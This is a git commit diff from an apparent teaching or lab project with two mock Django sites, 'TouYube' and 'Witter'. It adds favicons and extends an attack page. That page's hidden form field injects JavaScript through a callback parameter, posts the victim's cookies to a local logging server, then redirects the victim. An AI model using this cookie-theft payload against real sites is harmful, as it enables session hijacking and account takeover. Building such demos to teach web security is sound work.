added favicon and improved the attack
This commit is contained in:
parent
44833f745d
commit
57fba043aa
5 changed files with 8 additions and 1 deletions
BIN
TouYube/apps/TouYube/static/TouYube/favicon.png
Normal file
BIN
TouYube/apps/TouYube/static/TouYube/favicon.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 43 KiB |
|
@ -1,8 +1,10 @@
|
||||||
|
{% load static %}
|
||||||
<!DOCTYPE html>
|
<!DOCTYPE html>
|
||||||
<html lang="en">
|
<html lang="en">
|
||||||
<head>
|
<head>
|
||||||
{% block head %}
|
{% block head %}
|
||||||
<meta charset="UTF-8">
|
<meta charset="UTF-8">
|
||||||
|
<link rel="shortcut icon" type="image/png" href="{% static 'TouYube/favicon.png' %}"/>
|
||||||
<title>{% block title %}TouYube{% endblock %}</title>
|
<title>{% block title %}TouYube{% endblock %}</title>
|
||||||
{% endblock %}
|
{% endblock %}
|
||||||
</head>
|
</head>
|
||||||
|
|
BIN
Witter/apps/Witter/static/Witter/favicon.png
Normal file
BIN
Witter/apps/Witter/static/Witter/favicon.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 101 KiB |
|
@ -1,8 +1,10 @@
|
||||||
|
{% load static %}
|
||||||
<!DOCTYPE html>
|
<!DOCTYPE html>
|
||||||
<html lang="en">
|
<html lang="en">
|
||||||
<head>
|
<head>
|
||||||
{% block head %}
|
{% block head %}
|
||||||
<meta charset="UTF-8">
|
<meta charset="UTF-8">
|
||||||
|
<link rel="shortcut icon" type="image/png" href="{% static 'TouYube/favicon.png' %}"/>
|
||||||
<title>{% block title %}Witter{% endblock %}</title>
|
<title>{% block title %}Witter{% endblock %}</title>
|
||||||
{% endblock %}
|
{% endblock %}
|
||||||
</head>
|
</head>
|
||||||
|
|
|
@ -6,6 +6,7 @@
|
||||||
|
|
||||||
<form id="attack-form" action="http://localhost:8080/callback/" method="GET">
|
<form id="attack-form" action="http://localhost:8080/callback/" method="GET">
|
||||||
<input type="hidden" name="callback" value="
|
<input type="hidden" name="callback" value="
|
||||||
|
{# once the victim is calling the callback, send his cookies to this URL #}
|
||||||
fetch('http://localhost:8081/logs/', {
|
fetch('http://localhost:8081/logs/', {
|
||||||
method: 'POST',
|
method: 'POST',
|
||||||
body: JSON.stringify({
|
body: JSON.stringify({
|
||||||
|
@ -14,7 +15,9 @@
|
||||||
headers: {
|
headers: {
|
||||||
'Content-type': 'application/json; charset=UTF-8'
|
'Content-type': 'application/json; charset=UTF-8'
|
||||||
}
|
}
|
||||||
})
|
});
|
||||||
|
{# redirect the user to the homepage #}
|
||||||
|
document.location.href='http://localhost:8080/';
|
||||||
">
|
">
|
||||||
|
|
||||||
<input type="submit" value="I am a very safe button that will not obtain your cookies 😊">
|
<input type="submit" value="I am a very safe button that will not obtain your cookies 😊">
|
||||||
|
|
Loading…
Reference in a new issue